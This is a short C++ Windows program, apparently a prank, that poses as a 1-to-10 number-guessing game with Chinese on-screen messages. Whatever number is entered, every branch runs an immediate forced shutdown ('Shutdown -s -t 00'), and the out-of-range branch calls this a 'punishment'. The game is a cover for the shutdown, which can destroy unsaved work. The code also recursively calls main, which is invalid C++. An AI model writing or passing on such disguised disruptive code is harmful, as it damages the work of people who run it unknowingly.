#include<bits/stdc++.h>
#include<Windows.h>
using namespace std;
int main(){
	int n;
	system("color 2"); 
	cout << "请输入一个1 ~ 10的数";
	cin >> n;
	if(n >= 1 && n <= 10){
		if(n % 2 == 0 || n % 3 == 0){
        system("color 4");
		cout << "你中了";
		Sleep(2000);
		system("Shutdown -s -t 00"); 
		
  	    }else{
  	    system("color 2");
		cout << "你没中";
		Sleep(2000);
		system("Shutdown -s -t 00");
	    }
    }else{
    	system("color 4"); 
    	cout << "你挺嚣张啊" << endl;
    	Sleep(2000);
		cout <<  "竟然违背我的规定" << endl;
		Sleep(2000);
		cout << "这是给你的惩罚";
		Sleep(2000);
		system("Shutdown -s -t 00");
	}
	return main();
}